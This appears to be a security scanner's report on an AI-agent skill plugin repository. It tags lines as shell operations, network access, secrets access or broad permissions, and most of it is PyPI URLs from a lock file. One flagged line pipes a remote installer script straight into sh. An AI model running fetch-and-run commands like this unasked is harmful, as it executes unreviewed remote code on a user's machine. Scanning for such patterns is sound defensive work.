<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/constant-time-analysis/skills/constant-time-analysis/references/javascript.md
- Dangerous shell operationline 47
| `eval()` | Unpredictable timing | Avoid entirely |
plugins/constant-time-analysis/skills/constant-time-analysis/references/kotlin.md
- Dangerous shell operationline 209
sudo snap install kotlin --classic - Network accessline 250
- [Kotlin/JVM Interoperability](https://kotlinlang.org/docs/java-interop.html) - Network accessline 251
- [Android Keystore System](https://developer.android.com/training/articles/keystore) - Network accessline 252
- [Bouncy Castle for Kotlin](https://www.bouncycastle.org/java.html) - Constant-time crypto primitives
plugins/constant-time-analysis/skills/constant-time-analysis/references/php.md
- Network accessline 15
# extension and stock macOS grep exits 2 on it, which would silently leave # VLD_VERSION empty and install a package named `vld-` with no version. VLD_VERSION=$(curl -fsS https://pecl.php.net/package/vld | - Network accessline 16
# VLD_VERSION empty and install a package named `vld-` with no version. VLD_VERSION=$(curl -fsS https://pecl.php.net/package/vld | grep -oE 'vld-[0-9]+(\.[0-9]+)*\.tgz' | head -1 | sed -E 's/^vld-//; s/\.tgz$//') - Network accessline 17
VLD_VERSION=$(curl -fsS https://pecl.php.net/package/vld | - Network accessline 20
if [ -z "$VLD_VERSION" ]; then echo "Could not read the latest VLD version from PECL." >&2 echo "Check https://pecl.php.net/package/vld and set VLD_VERSION by hand." >&2 - Network accessline 21
echo "Could not read the latest VLD version from PECL." >&2 echo "Check https://pecl.php.net/package/vld and set VLD_VERSION by hand." >&2 else - Network accessline 22
echo "Check https://pecl.php.net/package/vld and set VLD_VERSION by hand." >&2 - Network accessline 29
# Or if above fails, install with explicit channel: pecl install https://pecl.php.net/get/vld-${VLD_VERSION}.tgz - Network accessline 30
pecl install https://pecl.php.net/get/vld-${VLD_VERSION}.tgz - Network accessline 37
# Clone and build from GitHub git clone https://github.com/derickr/vld.git - Network accessline 38
git clone https://github.com/derickr/vld.git - Dangerous shell operationline 43
sudo make install - Dangerous shell operationline 46
echo "extension=vld.so" | sudo tee -a $(php --ini | grep "Loaded Configuration" | cut -d: -f2 | tr -d ' ') - Dangerous shell operationline 64
sudo cp modules/vld.so "$PHP_EXT_DIR/" - Access to secretsline 126
[Credential-related source omitted] - Access to secretsline 129
[Credential-related source omitted]
plugins/constant-time-analysis/skills/constant-time-analysis/references/python.md
plugins/constant-time-analysis/skills/constant-time-analysis/references/swift.md
- Access to secretsline 175
[Credential-related source omitted] - Network accessline 240
Download from [swift.org](https://swift.org/download/) for standalone installation. - Network accessline 285
- [Apple CryptoKit Documentation](https://developer.apple.com/documentation/cryptokit) - Network accessline 286
- [Apple Security Framework](https://developer.apple.com/documentation/security) - Network accessline 287
- [Swift.org Security](https://swift.org/blog/swift-5-release/) - Network accessline 288
- [OWASP iOS Security Guide](https://owasp.org/www-project-mobile-security-testing-guide/)
plugins/constant-time-analysis/skills/constant-time-analysis/references/vm-compiled.md
- Dangerous shell operationline 236
sudo apt install openjdk-21-jdk - Dangerous shell operationline 276
sudo apt install dotnet-sdk-8.0 - Dangerous shell operationline 346
sudo apt install mono-complete - Network accessline 369
- [Java Cryptography Architecture Guide](https://docs.oracle.com/en/java/javase/17/security/java-cryptography-architecture-jca-reference-guide.html) - Network accessline 370
- [.NET Cryptography Model](https://docs.microsoft.com/en-us/dotnet/standard/security/cryptography-model) - Network accessline 371
- [Bouncy Castle Java](https://www.bouncycastle.org/java.html) - Constant-time crypto primitives - Network accessline 372
- [NSec](https://nsec.rocks/) - Modern cryptographic library for .NET
plugins/culture-index/skills/interpreting-culture-index/SKILL.md
- Broad permissionsline 1
Bash Read Grep Glob Write - Dangerous shell operationline 130
**If uv is not installed:** Stop and instruct user to install it (`brew install uv` or `curl -LsSf https://astral.sh/uv/install.sh | sh`). Do NOT fall back to vision. - Network accessline 130
**If uv is not installed:** Stop and instruct user to install it (`brew install uv` or `curl -LsSf https://astral.sh/uv/install.sh | sh`). Do NOT fall back to vision.
plugins/culture-index/skills/interpreting-culture-index/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/culture-index/skills/interpreting-culture-index/scripts/check_deps.py
- Executable scriptline 1
#!/usr/bin/env python3
plugins/culture-index/skills/interpreting-culture-index/scripts/culture_index/__init__.py
- Executable scriptline 1
Executable file
plugins/culture-index/skills/interpreting-culture-index/scripts/culture_index/constants.py
- Executable scriptline 1
Executable file
plugins/culture-index/skills/interpreting-culture-index/scripts/culture_index/extract.py
- Executable scriptline 1
Executable file
plugins/culture-index/skills/interpreting-culture-index/scripts/culture_index/models.py
- Executable scriptline 1
Executable file
plugins/culture-index/skills/interpreting-culture-index/scripts/culture_index/opencv_extractor.py
- Executable scriptline 1
Executable file
plugins/culture-index/skills/interpreting-culture-index/scripts/extract_pdf.py
- Executable scriptline 1
#!/usr/bin/env python3
plugins/culture-index/skills/interpreting-culture-index/scripts/uv.lock
- Network accessline 12
source = { virtual = "." } dependencies = [ { name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.12'" }, - Network accessline 13
dependencies = [ { name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.12'" }, { name = "numpy", version = "2.5.1", source = { registry = "https://pypi.org/simple" - Network accessline 14
{ name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.12'" }, - Network accessline 15
{ name = "numpy", version = "2.5.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.12'" }, - Network accessline 30
name = "numpy" version = "2.4.6" source = { registry = "https://pypi.org/simple" } - Network accessline 31
version = "2.4.6" source = { registry = "https://pypi.org/simple" } resolution-markers = [ - Network accessline 32
source = { registry = "https://pypi.org/simple" } - Network accessline 34
"python_full_version < '3.12'", ] sdist = { url = "https://files.pythonhosted.org/packages/d0/ad/fed0499ce6a338d2a03ebae59cd15093910c8875328855781952abf6c2fe/numpy-2.4.6.tar.gz", hash = "sha256:f3a3570c4a2a16746ac2c31a7c7c7b0c186b95ce902e33 - Network accessline 35
] sdist = { url = "https://files.pythonhosted.org/packages/d0/ad/fed0499ce6a338d2a03ebae59cd15093910c8875328855781952abf6c2fe/numpy-2.4.6.tar.gz", hash = "sha256:f3a3570c4a2a16746ac2c31a7c7c7b0c186b95ce902e33db6f28094ed7387dda", size = 2073 - Network accessline 36
sdist = { url = "https://files.pythonhosted.org/packages/d0/ad/fed0499ce6a338d2a03ebae59cd15093910c8875328855781952abf6c2fe/numpy-2.4.6.tar.gz", hash = "sha256:f3a3570c4a2a16746ac2c31a7c7c7b0c186b95ce902e33db6f28094ed7387dda", size = 207358 - Network accessline 37
wheels = [ { url = "https://files.pythonhosted.org/packages/b3/49/ec46835a70be8fa6446c495126ac84fdb28cb2558e1620ffb87a10c8b64c/numpy-2.4.6-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:0280e0356c0829a18d9de1cb7eee50ec22ca639878d72 - Network accessline 38
{ url = "https://files.pythonhosted.org/packages/b3/49/ec46835a70be8fa6446c495126ac84fdb28cb2558e1620ffb87a10c8b64c/numpy-2.4.6-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:0280e0356c0829a18d9de1cb7eee50ec22ca639878d7240307ca0943d73c - Network accessline 39
{ url = "https://files.pythonhosted.org/packages/0e/0d/f5957185c0ee2f3e12f78715aa9e3b353fd83633316c8532b38faa37e3f6/numpy-2.4.6-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:110f8b71aacb688ec69062bb7f6938a0f8acb01b7c1c4beb453c65b6d2345 - Network accessline 40
{ url = "https://files.pythonhosted.org/packages/ad/40/40a40ee0ddf7ceb782c49af278894b686e586d65d8c1889c8b5da01a3d7d/numpy-2.4.6-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:4cfe66903cc32a9921a6733d96b19bb6abf310397581bbad89c228f5abaf0 - Network accessline 41
{ url = "https://files.pythonhosted.org/packages/63/13/f9a8046535cb21deae82f8d03de9617e08882d274fad2539630761888228/numpy-2.4.6-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:8155154c7c691289fe18f510b5d4657c68c67989f293f0535a91360392ff - Network accessline 42
{ url = "https://files.pythonhosted.org/packages/33/a8/6fa8c1a345a8c85dbb21932c447bee07c30a2c2a3f31e369c0a84b300147/numpy-2.4.6-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ab0a9c4ffb1a6d95ef519fe4247dba8e - Network accessline 43
{ url = "https://files.pythonhosted.org/packages/02/03/74fe2a4cb3817d94d86402f2506554130a2f01414e299b5a843e5a8a957f/numpy-2.4.6-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:89cd468399cfd2504718f0ba50e410dca55 - Network accessline 44
{ url = "https://files.pythonhosted.org/packages/c5/80/3615be3313f7e7696609bc194b9f0101da809df79e859bdb84e0cd043f46/numpy-2.4.6-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c2d37ab77531417474168eb79d6d80b14f821a966818505d03013d083 - Network accessline 45
{ url = "https://files.pythonhosted.org/packages/ca/ac/a691e0fe2675e370d0e08ff905adc49a1c8830e8cae03efe4477e92cd55d/numpy-2.4.6-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f407cb6b8e9d6d8c626bc73c945db1706035af8fd632295547bf1c9e46 - Network accessline 46
{ url = "https://files.pythonhosted.org/packages/15/a7/9bc1cd626d7bf6869bfedf27b91b6ab5dd607758bf8e959d6fa80c6a59cb/numpy-2.4.6-cp311-cp311-win32.whl", hash = "sha256:ddea102b48f9e339f3948bf22040944184627a30fdf7f858667673b9c5f033c8", size = - Network accessline 47
{ url = "https://files.pythonhosted.org/packages/c5/31/7fc6239c12bce7e931463251cca4426c465e1876ba3cc785402ef4dd8f4e/numpy-2.4.6-cp311-cp311-win_amd64.whl", hash = "sha256:1e254a00cdf42b1e4d5b3d68d33af63268d41340d8885df2ab6470f2e1500147", si - Network accessline 48
{ url = "https://files.pythonhosted.org/packages/27/83/140f85a466595a16382996a1bf06b2b54bcd597488921b0c9daaeeda72af/numpy-2.4.6-cp311-cp311-win_arm64.whl", hash = "sha256:ed9749eef4cbd126da3dc1d6bcb3a57f5eb7ac6a6484146bdbf743f552dfc577", si - Network accessline 49
{ url = "https://files.pythonhosted.org/packages/95/2a/3d7b5ac8aac24feaf9ad7ed58f45b0bbc06d37e4338ae84c9f2298b570f9/numpy-2.4.6-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:001fbb8e08d942dd57599e781f2472269ee7f2755fae407b4f67b2f0b17 - Network accessline 50
{ url = "https://files.pythonhosted.org/packages/ea/12/92c4c131527599e8288d6918e888d88726f84d805d784b771f32408aeaef/numpy-2.4.6-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ebfb099f8dcf083deef3ac1ca4c1503f387cf76296fcb3816b66f5ecb5f54 - Network accessline 51
{ url = "https://files.pythonhosted.org/packages/ad/fe/c0a6b7b2ca128a8fb228575147073b660656734b8ebe4d76c8fd748dcc79/numpy-2.4.6-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:3213d622a0283a39a93d188f3cf72b26862df52fbb4ca3697f51705016523 - Network accessline 52
{ url = "https://files.pythonhosted.org/packages/f3/d4/9770d14ba719432bb90a421bfd443872ed0f70f7264b64bec12ea363d5fd/numpy-2.4.6-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:357cc07a6d7b0b182ff02249616a03742827ebb1277546b5c7cd7f7620a4 - Network accessline 53
{ url = "https://files.pythonhosted.org/packages/c9/c6/50a46a6205feba2343f1d6d17438107c5dc491ed1c736e6ea68689fd906b/numpy-2.4.6-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f9fb9157b4ce2971008323afe4605378 - Network accessline 54
{ url = "https://files.pythonhosted.org/packages/99/60/14115e6364fa676c5397c2ad3004e527e9aa487abf5d0706ec81bbd08529/numpy-2.4.6-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:90f9849678c75fe7afa2d348ac842c168b0 - Network accessline 55
{ url = "https://files.pythonhosted.org/packages/ae/c5/693cbe59e57db94d2231fa519ca3978dc9e19da5a8f088588f5c6e947ff2/numpy-2.4.6-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:c1a2af6c6ef86344a6b0db6b97834208bf598db514f2b155042439b62 - Network accessline 56
{ url = "https://files.pythonhosted.org/packages/ef/fc/85b7c4eff9b4966ade25c2273cf7e7012e92366c032058653934b37de044/numpy-2.4.6-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e5805d5a22fd19c8ccff10a9561f9df94436b0545619ea579db2d3c352 - Network accessline 57
{ url = "https://files.pythonhosted.org/packages/f6/81/e1b27545deedce7f4a0b348618c6b62d74e36a4dc9ccd42f3eb2f85eee32/numpy-2.4.6-cp312-cp312-win32.whl", hash = "sha256:e3eeb0aabd6bd5ce64faae67e9935203a6991b4bc2a485a767fbafb2c5125f45", size = - Network accessline 58
{ url = "https://files.pythonhosted.org/packages/ab/ca/feab00bd44aa5fe1ad2c18f08b4d3bb92e26484b0b1d1443897809ed528c/numpy-2.4.6-cp312-cp312-win_amd64.whl", hash = "sha256:d8e8286dd7cea7895157318d1b91cdacac64c479f3cbc8dce548331728484751", si - Network accessline 59
{ url = "https://files.pythonhosted.org/packages/63/cf/5a6d34850a39d1093558564f77ee8e8e0bee5061151b8f05a55711001ec7/numpy-2.4.6-cp312-cp312-win_arm64.whl", hash = "sha256:4081eb135ac24158bd51cdfbef16f1c64df7063b1143f24731387137c092bec8", si - Network accessline 60
{ url = "https://files.pythonhosted.org/packages/fb/82/bdab26d7438c6791ca31b7c024ca37c1eab8b726ba236129005cd4a06e45/numpy-2.4.6-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:511dbaf848decaaaf4b4ca48032619fb3138710c4bf7da7617765edad1e - Network accessline 61
{ url = "https://files.pythonhosted.org/packages/1b/30/a80189bcc7f5e4258b3fbc3968d909d1756f54d023299ecc39ad6fdb9ef8/numpy-2.4.6-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:bf162abab1c1a736333192707cef898e735a5ca00f38f27eeedf44b39d9e8 - Network accessline 62
{ url = "https://files.pythonhosted.org/packages/97/12/70b5d0d7c15e1ebb8a6a84a8caa1d19e181d84fb58bb6d70aca29099dec1/numpy-2.4.6-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:043191bfa8eab18c776647b62723ac9dddece59743b13f49b2016094129c2 - Network accessline 63
{ url = "https://files.pythonhosted.org/packages/ba/8c/ebd2a8f8a83541f8d38cc5667e8c2b69cecfd30da6e45693e8158857d44b/numpy-2.4.6-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:6180d8b35af935aed8ece3a85e0a43f87393ae0ac87c8d2c8bd2c993f727 - Network accessline 64
{ url = "https://files.pythonhosted.org/packages/bb/c5/7b863a97a91671a0338f4253bd3b5a3d3852f0692dae91711c9f4a10e787/numpy-2.4.6-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:72fbe16c6fac95aedf5937fa873445cec - Network accessline 65
{ url = "https://files.pythonhosted.org/packages/a5/9d/3584b9984ca4c047aea75214ce1a4c4c73d849bd71b604264b7f5653f8a8/numpy-2.4.6-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a7830bab239b79cda9c08c2da014761cafb - Network accessline 66
{ url = "https://files.pythonhosted.org/packages/05/ae/7c67fba23bd98caec7c99261f3a16072ade14813486b0282cb29846de832/numpy-2.4.6-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ef4aea96ce4d3b074422cb4f2f64e216bf9e213004bb58ecfdf50ea02 - Network accessline 67
{ url = "https://files.pythonhosted.org/packages/d9/5d/3b6725cb31d983c5e66916f5d36f6d7e5521129e4c4404d64f918292a5b6/numpy-2.4.6-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:dfa20cc6ca228e6b155b11da03825975ce66aea520985dbbddf0f2a5a4 - Network accessline 68
{ url = "https://files.pythonhosted.org/packages/f7/da/2ccc6c2fe8898dee01d90c75c5f5f914a23daf99e3e0f59516a08760c8b5/numpy-2.4.6-cp313-cp313-win32.whl", hash = "sha256:56b39e5e0622a09a25bf5baf62f4bcf0cb8a41ae6e2819cf49bbc5a74c083f91", size = - Network accessline 69
{ url = "https://files.pythonhosted.org/packages/b5/cd/9cc4dc876fb065d5c220aae4d5e14826b2715331bb7618ce1fb07a679d99/numpy-2.4.6-cp313-cp313-win_amd64.whl", hash = "sha256:c4fc99836233ea196540b17ab0983aff60ed07941751930f5f4d05bc3b3b7359", si - Network accessline 70
{ url = "https://files.pythonhosted.org/packages/39/1e/c0bcba1f8694116485fe28fd1be698c278fcda4141c5b0e53a2aed8b12a8/numpy-2.4.6-cp313-cp313-win_arm64.whl", hash = "sha256:a7c711e21628b52034bb5ab8d1bce291f752fcc5e92accc615778acee1ff4778", si - Network accessline 71
{ url = "https://files.pythonhosted.org/packages/63/6d/cc5619247c8f4204e507f5883528372e4ac4bb189e579fb859a12e480b1f/numpy-2.4.6-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:112b06a867b235ef466ed3508ddf0238050df9c727cafb5301ac385b8991 - Network accessline 72
{ url = "https://files.pythonhosted.org/packages/00/58/f1c39161c87d9e9bed660f1ed4bafc0e403d5ec9650b6dd77aead07d489b/numpy-2.4.6-cp313-cp313t-macosx_14_0_arm64.whl", hash = "sha256:eaf7fa2de5c0be8ae6ff8e9bea2ccd725e980541244521d8d4b5f3354a27 - Network accessline 73
{ url = "https://files.pythonhosted.org/packages/af/57/3917ab0fd97f271a8694513581b8a36c655f111c446852c302f04ccdb6fc/numpy-2.4.6-cp313-cp313t-macosx_14_0_x86_64.whl", hash = "sha256:7265a2f3d436e54ef9f2b52b5c937e6be778781bd97a590319d7348f1c1 - Network accessline 74
{ url = "https://files.pythonhosted.org/packages/eb/0f/037e64c494b67581ae18193d770adef354c41f3f2c8ebf865602d949bf8f/numpy-2.4.6-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f74a575920ab21fe304421a3fc28793d - Network accessline 75
{ url = "https://files.pythonhosted.org/packages/21/a6/5d2bae9c9542eb4df16dc9c46dc79c186e9bad53805dfa5399a6023c6db0/numpy-2.4.6-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ede83e07a75dd06bc501566c1eca2afc0d - Network accessline 76
{ url = "https://files.pythonhosted.org/packages/92/14/23d1dfb410ae362cd59ce53e936b1513d545eb40db3949ced632e19a459e/numpy-2.4.6-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:68bb27509ac1b9a3443094260f6326150663b06abe40b73a2f811606 - Network accessline 77
{ url = "https://files.pythonhosted.org/packages/4b/6e/23595a2c642cdf3bc567877064bdd7f91c8b0038a4453cf2daf7248eafe9/numpy-2.4.6-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:a0df0043bdb289bde1f62da130d20df23d58b45429f752bc7a8fc5325 - Network accessline 78
{ url = "https://files.pythonhosted.org/packages/8a/90/0ac3bc947217e66dec77e7cbc6a1979d1af70b6461b82f620d3bccd5e4c8/numpy-2.4.6-cp313-cp313t-win32.whl", hash = "sha256:29a287e0cf63ff528da061de6b9f64a4618da591ca1046aafc54062e40ca7eab", size - Network accessline 79
{ url = "https://files.pythonhosted.org/packages/77/71/5673e351671a1d2bd6063b91b44f70c0affea7d1516fa7a6572941ba4aa1/numpy-2.4.6-cp313-cp313t-win_amd64.whl", hash = "sha256:25c692919ac5a01f170a3bfcd62d745b24fd095c353d50812637d6fcab442e75", s - Network accessline 80
{ url = "https://files.pythonhosted.org/packages/3f/88/19d3503c5046e688f049274b27a3ef3d771152fa80d3ba3d01a3dff61abe/numpy-2.4.6-cp313-cp313t-win_arm64.whl", hash = "sha256:1e978ec1e8bd0e0e4de6bb75de9d30cbb74db6b6a2bb727618613703ca0167dd", s - Network accessline 81
{ url = "https://files.pythonhosted.org/packages/f8/91/3ab2044d05fd16d343c5ac2e69b127f1b2854040dd20b193257c78028bd3/numpy-2.4.6-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:06ca2f61ec4385a07a6977c55ba998a4466c123642b4a32694d3128fce1 - Network accessline 82
{ url = "https://files.pythonhosted.org/packages/8e/62/764ce66fa4147ae6d73071a3abf804ffe606f174618697c571acdf26a7c9/numpy-2.4.6-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:38efbc8de75c7a0fc1ac190162d892787f3f47b57cc291231aafee36b8098 - Network accessline 83
{ url = "https://files.pythonhosted.org/packages/60/61/23f27c172f022e04025b7dc2367f4d63c1a398120607ec896228649a6f48/numpy-2.4.6-cp314-cp314-macosx_14_0_arm64.whl", hash = "sha256:d581b735e177fdcdce6fed8e7e8880a3fb6ee4e3653a3ac6af01c6f4c03ef - Network accessline 84
{ url = "https://files.pythonhosted.org/packages/03/71/21cf70dc6ea3e3acb95fc53a265b2fc248b981f0194ceb5b475271b8809d/numpy-2.4.6-cp314-cp314-macosx_14_0_x86_64.whl", hash = "sha256:0a041d3d761dc3c35cc56ce0351506a02bcbc25f7b169f652435141a17db - Network accessline 85
{ url = "https://files.pythonhosted.org/packages/d5/91/64288395ee1799bd2e0b04a305dce9666da90c961e1f3fe982a05ee1c036/numpy-2.4.6-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:40fdc1ae7125e518ea98e53e69a4ebc27 - Network accessline 86
{ url = "https://files.pythonhosted.org/packages/f3/eb/ebffaa97dc55502df69584a8f0dcf07f69a3e0b3e2323670a2722db9aa39/numpy-2.4.6-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a2c306dea656c12c68f51f4cea133cbe78c - Network accessline 87
{ url = "https://files.pythonhosted.org/packages/b8/0b/54f9da33128d7e350fab89c7455902eeae70349ee52bddb448dc4a576f45/numpy-2.4.6-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:33111801a01c12a8a1e3721f0a9232f8cfc8ae2c6b7098167e6f623c6 - Network accessline 88
{ url = "https://files.pythonhosted.org/packages/b6/f0/fdebc1052db1cc37c64beb22072d67cd6d1c71adca1299f53dec2b5e20d3/numpy-2.4.6-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ae506e6902902557576a26ff33eda8695e7ecb3cb36c3b573a0765dee1 - Network accessline 89
{ url = "https://files.pythonhosted.org/packages/aa/b4/298628d98c72b57e57f7165ae6a481a1deaf6f3c28262a6e4c739c275930/numpy-2.4.6-cp314-cp314-win32.whl", hash = "sha256:aaf159caa35993cb1f56fb9b8e4610d35758e7ca005412eb1daa856a78c9c4b1", size = - Network accessline 90
{ url = "https://files.pythonhosted.org/packages/df/ac/46de6dda46478f7942f839e094970be2d4a861e005c4b3bf07c92e291a09/numpy-2.4.6-cp314-cp314-win_amd64.whl", hash = "sha256:b507f5c4c1d508876d1819b6bf9a49d365b96320b5d4993426b33a23ca4b8261", si - Network accessline 91
{ url = "https://files.pythonhosted.org/packages/78/92/b8b798ac784102c0da830d2257d59358e3d3d90d1e2b3f2575dad976c5cf/numpy-2.4.6-cp314-cp314-win_arm64.whl", hash = "sha256:6f41ae150c4e32db4f3310cdaf64b1593a03dbabe29eec77fc9b50fe64061df6", si - Network accessline 92
{ url = "https://files.pythonhosted.org/packages/30/34/ec28d1aa8115971537c01469ab2011ee96827930f0a124de1000cc2a7ed7/numpy-2.4.6-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:ece3d2cfe132e7d51f44a832b303895e6f2d499c5e74dfbdb06ee246147a - Network accessline 93
{ url = "https://files.pythonhosted.org/packages/16/bd/f6d1fede4e54e8042a7ff97bb495510f3c220f94bcd9e8b228e87c92cc0d/numpy-2.4.6-cp314-cp314t-macosx_14_0_arm64.whl", hash = "sha256:e3e5193ef5a3dc73bceee50f7fdc2c90dbb76c42df8d8fae3d1067a583df - Network accessline 94
{ url = "https://files.pythonhosted.org/packages/f4/f0/e105b9e2fd728a9910103884decd6951d9dd73896b914a98d9a231de02ee/numpy-2.4.6-cp314-cp314t-macosx_14_0_x86_64.whl", hash = "sha256:17f9ade344e7d9b464a084d69bcf18fc691cb1db67c62ed80820bf4926d - Network accessline 95
{ url = "https://files.pythonhosted.org/packages/82/dd/1206a7ca6ab15e3f02069707ca96222e202af681bb73756da7527f3cb837/numpy-2.4.6-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9cd5ffd25db4e7ba6a375693b3fc0fc1 - Network accessline 96
{ url = "https://files.pythonhosted.org/packages/51/e7/38d3ea825dcab85a591734decb2f6c67caa7c8367d374df1a1c3842f9b07/numpy-2.4.6-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7d92c3819208a60205a12a245c91ad70cb - Network accessline 97
{ url = "https://files.pythonhosted.org/packages/93/b7/caabfdf53edf663e0b4eb74d7d405d83baef09eb5e83bcd32d601d72b93e/numpy-2.4.6-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e85b752a1e912b70eaad4fafbd4d1238007ab221de2009b9a2f5ae74 - Network accessline 98
{ url = "https://files.pythonhosted.org/packages/f9/45/68d7c33a6bcf3e5aa3bdbd57a367e6f615286dfd6482f97e8ffeb734306e/numpy-2.4.6-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:29cb7f67d10b479ff07c17d33e39f78c07f71c40ef30d63c153d340e9 - Network accessline 99
{ url = "https://files.pythonhosted.org/packages/9c/50/0753655aa844c99cd9e018aacf76f130f1bd81d881bb74bc0aef5d73a8ba/numpy-2.4.6-cp314-cp314t-win32.whl", hash = "sha256:260a5d70215b61ab4fadf5c7baacd64821842975eea312125ed3c39a6391b063", size - Network accessline 100
{ url = "https://files.pythonhosted.org/packages/b2/d4/7c67becf668f973cb490cec3e98dfd799d866f9c989a54d355672cfa0db6/numpy-2.4.6-cp314-cp314t-win_amd64.whl", hash = "sha256:81a1cca95ed5bb92aa8b10dd2cdc9a0d3853a50fad926c28b5d7e8ea54389627", s - Network accessline 101
{ url = "https://files.pythonhosted.org/packages/43/bb/e1c71a4295b1b1d1393d50dbb4f2a36283c6859d9d3892e84f00ec5a91d5/numpy-2.4.6-cp314-cp314t-win_arm64.whl", hash = "sha256:0c9136e14ed34a9e343a31c533d78a9813a69a3148332bce5e9821cb2f996e66", s - Network accessline 102
{ url = "https://files.pythonhosted.org/packages/de/12/b422cc84439adc0d00de605bf4a308890ae5c26f2c71fbd73e5d08fbb0dd/numpy-2.4.6-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:55cced7c52e981362f708ad635198e97a752dfba412cc03c23bb - Network accessline 103
{ url = "https://files.pythonhosted.org/packages/44/53/f481bef68011740f8849418d82db07230e825013f31f4eef5ba5b805316a/numpy-2.4.6-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:d6da64deb6b8ed903e7560180a92f2d804ee1ba5eeb849ac2748b8 - Network accessline 104
{ url = "https://files.pythonhosted.org/packages/7f/57/42ed575c10ced8af951d426bc4e1f8aff16fd851db33f067036215a7f860/numpy-2.4.6-pp311-pypy311_pp73-macosx_14_0_arm64.whl", hash = "sha256:68a5124b13fa6cc2086764a20005d30bc0548146f7f5322f02fce2 - Network accessline 105
{ url = "https://files.pythonhosted.org/packages/6a/ef/f66cc724fcc36c1e364c67f51ae9146090b8b584f27d58b97fdae3edd737/numpy-2.4.6-pp311-pypy311_pp73-macosx_14_0_x86_64.whl", hash = "sha256:948424b06129ce883307e8cff868c31396d8dc7630a59c61d70d9 - Network accessline 106
{ url = "https://files.pythonhosted.org/packages/1a/9c/c531f2293b91265d8b48e9b329f54fdd7ffae73cb4134ea10cca4237e9cc/numpy-2.4.6-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5dbbdb29840ca3d91ee0fece42 - Network accessline 107
{ url = "https://files.pythonhosted.org/packages/1a/b0/413077f6b1153ed3cba361401c6783bbad6114804a000cc22eb71c13e190/numpy-2.4.6-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8ad03c0965fb3c692200e74d458c - Network accessline 108
{ url = "https://files.pythonhosted.org/packages/15/ce/e5ec180bc41812edcd8daeb8639d205622c0e8c02259d8ab25a0201b3c2a/numpy-2.4.6-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:2803abfebfc990042cd494d8ce2d5f82e9d847af6d35ec486923aa19dbad5e - Network accessline 112
name = "numpy" version = "2.5.1" source = { registry = "https://pypi.org/simple" } - Network accessline 113
version = "2.5.1" source = { registry = "https://pypi.org/simple" } resolution-markers = [ - Network accessline 114
source = { registry = "https://pypi.org/simple" } - Network accessline 116
